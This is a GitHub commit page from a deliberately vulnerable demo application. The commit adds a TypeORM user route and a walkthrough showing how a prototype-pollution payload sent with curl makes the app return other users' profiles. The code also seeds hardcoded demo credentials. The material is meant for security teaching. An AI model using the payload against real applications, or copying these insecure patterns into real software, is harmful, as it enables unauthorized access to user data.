Skip to content

Commit

Permalink
feat: add prototype pollution exploit in typeorm (snyk-labs#784)
Browse files Browse the repository at this point in the history
* feat: add prototype pollution exploit in typeorm

* fix: container and db setup
  • Loading branch information
lirantal authored Aug 12, 2020
1 parent 0bd4d3c commit be9a290
Show file tree
Hide file tree
Showing 10 changed files with 896 additions and 99 deletions.
6 changes: 5 additions & 1 deletion app.js
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,8 @@
*/

// mongoose setup
require('./db');
require('./mongoose-db');
require('./typeorm-db')

var st = require('st');
var crypto = require('crypto');
Expand All @@ -25,6 +26,7 @@ var cons = require('consolidate');

var app = express();
var routes = require('./routes');
var routesUsers = require('./routes/users.js')

// all environments
app.set('port', process.env.PORT || 3001);
Expand Down Expand Up @@ -54,6 +56,8 @@ app.get('/about_new', routes.about_new);
app.get('/chat', routes.chat.get);
app.put('/chat', routes.chat.add);
app.delete('/chat', routes.chat.delete);
app.use('/users', routesUsers)

// Static
app.use(st({ path: './public', url: '/public' }));

Expand Down
8 changes: 8 additions & 0 deletions docker-compose.yml
Original file line number Diff line number Diff line change
Expand Up @@ -17,3 +17,11 @@ services:
image: mongo
ports:
- "27017:27017"
good-mysql:
container_name: goof-mysql
image: mysql:5
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: acme
ports:
- "3306:3306"
19 changes: 19 additions & 0 deletions entity/Users.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
module.exports = {
name: "Users",
columns: {
id: {
primary: true,
type: "int",
generated: true
},
name: {
type: "varchar"
},
address: {
type: "varchar"
},
role: {
type: "varchar"
}
}
};
82 changes: 82 additions & 0 deletions exploits/prototype-pollution-typeorm.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
# Prototype Pollution in TypeORM

Prototype Pollution in TypeORM can lead to SQL Injection attacks in both MongoDB and MySQL types of databases, as well as Denial of Service or escalate to other types of attacks for a vulnerable Node.js web application.

## Requirements

You'll need a MySQL server running. Try this:

```sh
# use mysql:5 as that still supports the good old native password mechanism to login
# and keep things simple for the demo
docker run -p3306:3306 --rm --name mysqld -e MYSQL_ROOT_PASSWORD=root mysql:5
```

Create the dummy `acme` database:
```sh
create database acme;
```

For the MySQL client (to browse database records and such):
```sh
docker exec -it mysqld mysql -uroot -p
```

## Setup

The root file `./typeorm-db.js` gets called when the app starts and seeds the database with 2 sample users.

## Exploit scenario

### Step 1 - Normal request

You can create new users via POST /users

```sh
curl --request POST \
--url http://localhost:3001/users \
--header 'content-type: application/json' \
--data '{
"name": "a",
"address": "vvv",
"role": "user"
}'
```

### Step 2 - A request to get your own profile

A request to get your own profile always results in your own user (right now hard-coded with id:1)

```sh
curl --request GET \
--url http://localhost:3001/users \
--header 'content-type: application/json'
```

### Step 3 - Poison the Object's prototype

We now send a request that creates a user, but poison the prototype chain through an insecure
merge of objects that happens within TypeORM's code, and results in `Object` having a `where` object property.

```sh
curl --request POST \
--url http://localhost:3001/users \
--header 'content-type: application/json' \
--data '{
"name": "a",
"address": {
"__proto__": {
"where": {
"id": "2",
"where": null
}
}
}
}'
```

### Step 4 - Fetch your profile again

Now go back to Step 1 and fetch the user profile again.
Now you get profile 2 instead of the hard-code profile id 1. Why does it happen?
Because with TypeORM's `where` clause takes precendence over the `id` specifier and we're now able to enumerate and get every account id we want.
14 changes: 7 additions & 7 deletions db.js → mongoose-db.js
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
var mongoose = require('mongoose');
var cfenv = require("cfenv");
var Schema = mongoose.Schema;
var Schema = mongoose.Schema;

var Todo = new Schema({
content: Buffer,
Expand All @@ -22,7 +22,7 @@ console.log(JSON.stringify(cfenv.getAppEnv()));

// Default Mongo URI is local
const DOCKER = process.env.DOCKER
if ( DOCKER === '1') {
if (DOCKER === '1') {
var mongoUri = 'mongodb://goof-mongo/express-todo';
} else {
var mongoUri = 'mongodb://localhost/express-todo';
Expand Down Expand Up @@ -50,9 +50,9 @@ User.find({ username: 'admin' }).exec(function (err, users) {
if (users.length === 0) {
console.log('no admin');
new User({ username: 'admin', password: 'SuperSecretPassword' }).save(function (err, user, count) {
if (err) {
console.log('error saving admin user');
}
});
if (err) {
console.log('error saving admin user');
}
});
}
});
});
Loading

0 comments on commit be9a290

Please sign in to comment.